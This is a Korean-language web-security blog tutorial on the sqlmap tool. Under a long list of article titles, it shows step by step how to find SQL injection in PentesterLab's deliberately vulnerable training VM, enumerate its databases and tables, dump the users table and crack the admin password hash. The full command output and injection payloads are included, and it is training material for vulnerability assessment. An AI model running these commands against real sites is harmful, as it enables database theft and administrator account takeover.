홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#웹취약점 분석도구 #sqlmap #SQL구문삽입 #SQL인젝션 #SQL Injection #DB유출 #관리자계정탈취 #PentesterLab #From SQL Injection to Shell 1

SQL구문삽입 분석도구 sqlmap 간단 사용법

sqlmap®

sqlmap: automatic SQL injection and database takeover tool은 공개 모의침투 도구로 SQL구문삽입(SQL Injection) 취약점을 탐지/진단하고 데이터베이스에 직간접적으로 접근할 수 있는 취약점 분석 도구이다. SQL 구문삽입 공격은 DB 구조 파악이 가장 힘든 작업인데, 수작업으로 진행하기에는 매우 많은 시간이 걸린다. sqlmap은 DB 구조파악, 테이블 내용 유출 등을 자동화해주기 떄문에 웹취약점에 대한 수동분석 과정에서 상당히 많은 시간을 절약할 수 있게 도와주는 매우 훌륭한 프로그램이다.

칼리리눅스(Kali Linux) 운영체제에서는 다음과 같이 간단하게 설치할 수 있다.

apt-get install sqlmap

웹 취약점 분석에서 가장 많이 사용되는 sqlmap의 용례는 다음과 같다. (여기서는 PentesterLab의 From SQL Injection to Shell 훈련장을 대상으로 예를 든다.)

- GET 방식의 입력값 점검

sqlmap -u "http://192.168.206.131/cat.php?id=1"

- GET 방식의 입력값 점검: DBMS를 알고 있는 경우

sqlmap -u "http://192.168.206.131/cat.php?id=1" --dbms=mysql

- 데이터베이스 목록 열람

sqlmap -u "http://192.168.206.131/cat.php?id=1" --dbs

- 데이터베이스 목록 열람

sqlmap -u "http://192.168.206.131/cat.php?id=1" --dbs

- POST 방식의 입력값 점검

sqlmap -u "http://192.168.206.131/admin/index.php" --data "user=USER&password=PASS"

- 특정 변수를 지정하여 점검할 경우

sqlmap -u "http://192.168.206.131/admin/index.php" --data "user=USER&password=PASS" -p user

- 운영체제 명령어 실행 가능성을 점검할 때

sqlmap -u "http://192.168.206.131/admin/index.php" --data "user=USER&password=PASS" --os-shell

GET 방식의 입력에 대한 공격 사례

GET 방식의 Web Application, PentesterLab's From SQL Injection to Shell
[ GET 방식의 URL 매개변수 전달 ]

위의 그림은 PentesterLab의 From SQL Injection to Shell이라는 훈련장 접속 화면이다. 이미지를 보여주는 cat.phpid 변수를 대상으로 sqlmap을 이용하여 SQL구문삽입 취약점을 점검하는 방법은 다음과 같다.

sqlmap -u "http://192.168.206.131/cat.php?id=1"

위의 id 변수는 취약점이 존재한다. 취약점을 이용하여 sqlmap으로 관리자 계정을 탈취하는 사례는 마지막에 실었다.

POST 방식의 입력에 대한 공격 사례

POST 방식의 Web Application, PentesterLab's From SQL Injection to Shell
[ POST 방식의 로그인 인터페이스 ]

위의 그림은 SQL Injection to Shell 훈련장의 관리자 페이지 접속 화면이다. ID/PW를 이용하여 로그인하는 페이지이며 POST 방식으로 구현되어 있다. POST 방식에서는 POST의 값을 "--data" 옵션으로 지정할 수 있다.

sqlmap -u "http://192.168.206.131/admin/index.php" --data "user=USER&password=PASS"

HTTP 프록시나 HTML 소스를 분석하면 로그인은 /admin/index.php가 담당하며 사용자가 POST로 전달하는 입력값은 "user=관리자ID&password=관리자암호"와 같은 방식임을 추정하여 위와 같이 sqlmap으로 SQL 구문삽입 취약점을 점검할 수 있다.

SQL구문삽입 공격을 통한 관리자 계정 탈취 사례

PentesterLab의 From SQL Injection to Shell 훈련장의 "/cat.php?id=1"을 대상으로 하는 SQL 구문삽입 취약점 점검 및 DB 유출 과정을 살펴보자.

먼저 URL만을 제공하여 SQL 구문삽입 취약점이 있는 지 살펴본다.

root@kali:~# sqlmap -u "http://192.168.206.131/cat.php?id=1"
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.0.10#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:36:16

[10:36:16] [INFO] testing connection to the target URL
[10:36:16] [INFO] heuristics detected web page charset 'ascii'
[10:36:16] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:36:16] [INFO] testing if the target URL is stable
[10:36:17] [INFO] target URL is stable
[10:36:17] [INFO] testing if GET parameter 'id' is dynamic
[10:36:17] [INFO] confirming that GET parameter 'id' is dynamic
[10:36:17] [INFO] GET parameter 'id' is dynamic
[10:36:17] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:36:17] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting attacks
[10:36:17] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[10:36:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:36:22] [WARNING] reflective value(s) found and filtering out
[10:36:22] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Ruby")
[10:36:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:36:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[10:36:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:36:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[10:36:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:36:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)'
[10:36:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:36:22] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[10:36:22] [INFO] testing 'MySQL inline queries'
[10:36:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[10:36:22] [WARNING] time-based comparison requires larger statistical model, please wait............. (done)
[10:36:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:36:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[10:36:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[10:36:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[10:36:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:36:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:36:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[10:36:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:36:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:36:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[10:36:42] [INFO] target URL appears to have 4 columns in query
[10:36:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[10:36:42] [WARNING] parameter length constrainting mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7760=7760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6274 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6274=6274,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(0x7171627871, 0x51746a585a576a47714e4c4461467951454c6c7a544b6d41614b555a4e4468634c68526d62646a62, 0x716b767a71), NULL-- xkYE
---
[10:36:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[10:36:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.131'

[*] shutting down at 10:36:45

root@kali:~#

기본적인 점검에서 id 변수가 취약하며, 운영체제는 "Linux Debian 6.0 (squeeze)", 웹 어플리케이션은 "PHP 5.3.3, Apache 2.2.16" 기반이며, DBMS는 "MySQL >= 5.0" 등의 정보를 알아낼 수 있었다.

일반적인 웹취약점분석에서는 SQL구문삽입 취약점 분석을 여기서 중단하여도 무방하다. 관리자 페이지 내에 존재하는 취약점 점검 등이 필요한 경우에는 계정정보를 알아내기 위해서 추가적인 DB조회를 계속 진행할 수도 있을 것이다.

취약한 계정 관리에 대한 분석, 홈페이지 관리기능 분석을 위한 관리자 ID/PW 열람 등 추가 분석작업에 도움을 받기 위해서는 DB내용을 조회해볼 필요가 있다. DB를 조회할 때는 "--dump" 옵션만으로 데이터베이스 전체를 열람할 수도 있다. 다만 이 경우에는 시간 제약상 시도하지 않는 것이 좋다. 일반적으로 sqlmap 분석 순서는 1) SQL 인젝션 판별, 2) 데이터베이스 목록 조회, 3) 테이블 목록 조회, 4) 테이블 스키마 조회, 5) 테이블 덤프 등으로 나열할 수 있다.

먼저, MySQL이 관리하는 데이터베이스 목록을 가져와 보자.

root@kali:~# sqlmap -u "http://192.168.206.131/cat.php?id=1" --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.0.10#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:37:15

[10:37:15] [INFO] resuming back-end DBMS 'mysql' 
[10:37:15] [INFO] testing connection to the target URL
[10:37:15] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7760=7760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6274 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6274=6274,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(0x7171627871, 0x51746a585a576a47714e4c4461467951454c6c7a544b6d41614b555a4e4468634c68526d62646a62, 0x716b767a71), NULL-- xkYE
---
[10:37:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[10:37:15] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] photoblog

[10:37:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.131'

[*] shutting down at 10:37:15

root@kali:~#

위의 예에서는 sqlmap--dbs 옵션으로 현재 웹 어플리케이션("/cat.php")이 접근할 수 있는 MySQL 데이터베이스 이름을 모두 조회하였다. information_schema는 MySQL의 시스템 카탈로그(System Catalog)이다. 따라서 이 서버스에서 사용하는 데이터베이스는 photoblog임을 알 수 있다.

photoblog DB의 테이블 목록을 뽑아낸다("--tables" 옵션).

root@kali:~# sqlmap -u "http://192.168.206.131/cat.php?id=1" -D photoblog --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.0.10#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:37:49

[10:37:49] [INFO] resuming back-end DBMS 'mysql' 
[10:37:49] [INFO] testing connection to the target URL
[10:37:49] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7760=7760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6274 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6274=6274,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(0x7171627871, 0x51746a585a576a47714e4c4461467951454c6c7a544b6d41614b555a4e4468634c68526d62646a62, 0x716b767a71), NULL-- xkYE
---
[10:37:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[10:37:49] [INFO] fetching tables for database: 'photoblog'
Database: photoblog
[3 tables]
+------------+
| categories |
| pictures   |
| users      |
+------------+

[10:37:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.131'

[*] shutting down at 10:37:49

root@kali:~# 

Sqlmap에서 -D photoblog --tables 옵션을 사용하여 categories, pictures, users의 3개 테이블 이름을 찾아냈다.

회원정보는 users 테이블에 저장되어 있을 것으로 추정할 수 있다. 확인을 위해서 users 테이블의 구조를 파악한다("--columns" 옵션).

root@kali:~# sqlmap -u "http://192.168.206.131/cat.php?id=1" -D photoblog -T users --columns
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.0.10#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:38:27

[10:38:27] [INFO] resuming back-end DBMS 'mysql' 
[10:38:27] [INFO] testing connection to the target URL
[10:38:27] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7760=7760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6274 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6274=6274,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(0x7171627871, 0x51746a585a576a47714e4c4461467951454c6c7a544b6d41614b555a4e4468634c68526d62646a62, 0x716b767a71), NULL-- xkYE
---
[10:38:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[10:38:27] [INFO] fetching columns for table 'users' in database 'photoblog'
Database: photoblog
Table: users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | mediumint(9) |
| login    | varchar(50)  |
| password | varchar(50)  |
+----------+--------------+

[10:38:27] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.131'

[*] shutting down at 10:38:27

root@kali:~#

users 테이블은 id, login, password의 3개 컬럼(column)으로 구성되어있다. id, login, password 등의 단어로부터 users 테이블이 회원정보를 저장하는 곳임을 알 수 있다. 이 테이블을 조회하면 ID, 비밀번호를 알아낼 수 있을 것이다. --columns 옵션 대신 --dump 옵션을 사용하여 다음과 같이 users 테이블의 내용을 모두 조회(덤프)한다.

root@kali:~# sqlmap -u "http://192.168.206.131/cat.php?id=1" -D photoblog -T users --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.0.10#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:38:52

[10:38:53] [INFO] resuming back-end DBMS 'mysql' 
[10:38:53] [INFO] testing connection to the target URL
[10:38:53] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7760=7760

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6274 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(6274=6274,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(0x7171627871, 0x51746a585a576a47714e4c4461467951454c6c7a544b6d41614b555a4e4468634c68526d62646a62, 0x716b767a71), NULL-- xkYE
---
[10:38:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[10:38:53] [INFO] fetching columns for table 'users' in database 'photoblog'
[10:38:53] [INFO] fetching entries for table 'users' in database 'photoblog'
[10:38:53] [INFO] analyzing table dump for possible password hashes
[10:38:53] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] 
[10:38:56] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 
[10:38:59] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] 
[10:39:00] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:39:00] [INFO] starting 2 processes 
[10:39:02] [INFO] cracked password 'P4ssw0rd' for hash '8efe310f9ab3efeae8d410a8e0166eb2'                
[10:39:08] [INFO] postprocessing table dump
Database: photoblog
Table: users
[1 entry]
+----+-------+---------------------------------------------+
| id | login | password                                    |
+----+-------+---------------------------------------------+
| 1  | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+

[10:39:08] [INFO] table 'photoblog.users' dumped to CSV file '/root/.sqlmap/output/192.168.206.131/dump/photoblog/users.csv'
[10:39:08] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.131'

[*] shutting down at 10:39:08

root@kali:~#

users 테이블을 덤프함으로써 admin 계정의 비밀번호를 위와 같이 알아낼 수 있다. 공격자는 홈페이지 관리자의 권한으로 누리집에 접근하여 관리기능에서의 취약점을 분석하게 될 것이다. 일반적으로 홈페이지 관리기능은 관리자만 접근한다는 선입관이 있기 때문에 비교적 취약점이 많은 편이다. 이 때문에 관리자 권한이 탈취되면 웹서버가 장악될 가능성이 일반적인 경우보다 훨씬 높은 편이다.

[처음 작성한 날: 2016.11.07]    [마지막으로 고친 날: 2016.11.11] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : 웹취약성분석 관련 파일 목록 (2016.11.08)

